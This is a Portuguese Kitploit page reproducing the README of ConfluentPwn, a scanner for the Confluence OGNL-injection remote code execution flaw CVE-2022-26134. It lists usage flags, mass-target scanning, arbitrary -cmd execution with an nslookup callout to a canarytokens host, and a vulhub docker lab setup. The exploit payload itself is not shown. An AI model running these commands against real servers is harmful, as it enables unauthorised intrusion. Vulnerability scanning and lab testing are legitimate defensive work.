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ConfluentPwn — Scanner de execução remota de código por injeção ONGL não autenticada no Atlassian Confluence (CVE-2022-26134). | Kitploit
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ConfluentPwn

Scanner de execução remota de código por injeção ONGL não autenticada no Atlassian Confluence (CVE-2022-26134).

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1232há 1 anoAinda não revisado

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ConfluentPwn

Scanner de execução remota de código por injeção ONGL de pré-autenticação no Confluence (CVE-2022-26134).

Uso

O GIF abaixo mostra uma demonstração do uso da ferramenta:

tooldemo

Aqui está a saída de ajuda da ferramenta:

root@kitploit:~
$ ./cfscan -h

  +-------------------------------+
  |    C O N F L U E N T P W N    |
  +-------------------------------+

[+] ConfluentPwn by RedHunt Labs - A Modern Attack Surface (ASM) Management Company
[+] Author: Pinaki Mondal (RHL Research Team)
[+] Continuously Track Your Attack Surface using https://redhuntlabs.com/nvadr.

Usage:
  -cmd string
        Command to execute on a vulnerable confluence server. (default "id")
  -file string
        Specify a file containing list of hosts to scan.
  -output string
        Output filepath to write the scan results into. (default "cfpwn-results.csv")
  -regex string
        Regex to match the response header for the command executed.
  -threads int
        Number of threads to use while scanning. (default 20)
  -timeout int
        HTTP timeout in seconds. (default 5)
  -user-agent string
        Custom user-agent string to use. (default "Mozilla/5.0 (ConfluentPwn) Chrome/95.0.4638.69 Safari/537.36")

Examples:
  ./cfscan 1.2.3.4:80 1.1.1.1:8080
  ./cfscan -file urls.txt
  ./cfscan -cmd 'nslookup xxxxxxxxxxxxxxxxx.canarytokens.com 1.1.1.1:80'
  ./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443

Especificando alvos

Os alvos podem ser especificados de duas formas:

  • Especificando URLs diretamente via linha de comando.
    root@kitploit:~
    ./cfscan target1 target2 ...
    
  • Especificando um arquivo contendo uma lista de URLs para escanear usando o argumento -file.
    root@kitploit:~
    ./cfscan -file targets.txt
    

Concorrência, timeouts e user-agents

O número máximo de alvos simultâneos a serem processados pode ser controlado usando o argumento -threads. O valor de concorrência padrão é 20.

O valor do timeout HTTP em segundos pode ser especificado usando o argumento -timeout. O timeout padrão é definido como 5 segundos.

Um user-agent personalizado pode ser especificado usando a flag -user-agent, caso o usuário queira rastrear strings de UA em seus logs.

Saída

A saída gerada é gravada em um arquivo CSV, cujo destino pode ser especificado usando a flag -output. O arquivo de saída padrão gerado é cfscan-results.csv.

A saída contém 4 colunas:

  • alvo
  • versão do Confluence
  • status da vulnerabilidade
  • saída do comando

Especificação e Correspondência de Comandos

O comando a ser executado em um servidor vulnerável pode ser especificado usando o argumento -cmd. Uma expressão regular é especificada para corresponder à saída do comando -- que pode ser mencionada usando a flag -regex.

O comando padrão executado é o id, e a regex usada para corresponder à saída do comando é uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\).

Usar as flags juntas fica assim:

root@kitploit:~
./cfscan -cmd 'id' -regex 'uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\)' https://1.1.1.1
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443

Configurando um Ambiente de Teste

Se você quiser testar a ferramenta ou a vulnerabilidade em geral, pode consultar este link: https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134.

O processo de instalação é bastante simples, os comandos abaixo resolvem:

root@kitploit:~
$ mkdir confluentpwn && cd confluentpwn && wget https://raw.githubusercontent.com/vulhub/vulhub/master/confluence/CVE-2022-26134/docker-compose.yml
$ docker-compose up -d

O aplicativo agora deve estar disponível em http://localhost:8090.

Licença e Versão

A ferramenta é licenciada sob a licença MIT. Consulte LICENSE. Atualmente a ferramenta está na v0.1.

Créditos

A equipe de pesquisa da RedHunt Labs gostaria de agradecer ao vulhub por fornecer a imagem de teste docker.

Para saber mais sobre nossa plataforma de Gerenciamento de Superfície de Ataque, confira o NVADR.
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